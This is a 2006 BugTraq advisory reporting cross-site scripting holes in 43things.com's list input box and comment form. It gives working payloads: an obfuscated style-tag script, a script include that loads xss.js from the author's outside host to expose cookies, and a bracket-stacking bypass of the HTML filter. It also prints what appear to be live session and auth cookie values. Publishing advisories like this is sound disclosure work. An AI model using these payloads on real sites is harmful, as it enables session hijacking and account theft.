BugTraq
43things.com - XSS with cookie disclosure Jun 14 2006 08:51AM
luny youfucktard com
43things.com

Homepage:

http://www.43things.com

Affected files:

input box "I want to add to my list"

posting a comment

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XSS vuln via input text of the box "I want to____"

When you add an item thats already on your list.

For a PoC we have style tags with broken up javascript. Put thisitem in your list once, and then using the "I want to:" put it again:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

Screenshots:

http://www.youfucktard.com/xsp/43things1.jpg

Now, in the same box even with no filter evasion we can even show our cookie. try putting:

<script src=http://www.youfucktard.com/xss.js></script>

And then, once again, like above, try putting it again in the same box.

Our cookie:

"This is remote text via xss.js located at youfucktard.com auth=7k5BtRfaYdbOdaaD%2BrHb8JGnJkroqKA2fR2Txs%2BO8BpvcxoRbeAe%2Bp3JZs2fh
O7wu4IpF6ofcq1dROtVuHwTiQFkMV3U7pl%2FmcmA4ICJmLk%3D; ubid=4G%2BZUgL4cQNV0JT1ixHx5obNSs0%3D; _session_id=837ecebc52b1d47edd9c65e29a945de8; AWSUSER_ID=awsuser_id1150241074938r6320; AWSSESSION_ID=awssession_id1150241074938r6320"

Screenshots:

http://www.youfucktard.com/xsp/43things2.jpg

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XSS via posting a comment.

Data here isn't properally sanatized here before being generated. We see that even with no filtering we can insert something like:

<IMG SRC=javascript:alert('XSS')>

and it will create our xss example.

Screenshot3:

http://www.youfucktard.com/xsp/43things3.jpg

However, it wont actually insert the comment, it will just execute it. So to bypass "malformed html found" error msg, we will use the numerial refference of <> which is < and >, along with double beginning and ending tags. For a PoC tryputting the code below as a comment:

<<<IMG SRC=javascript:alert('We%20Bypassed%20the%20filter!')>>>

Screenshots:

http://www.youfucktard.com/xsp/43things4.jpg

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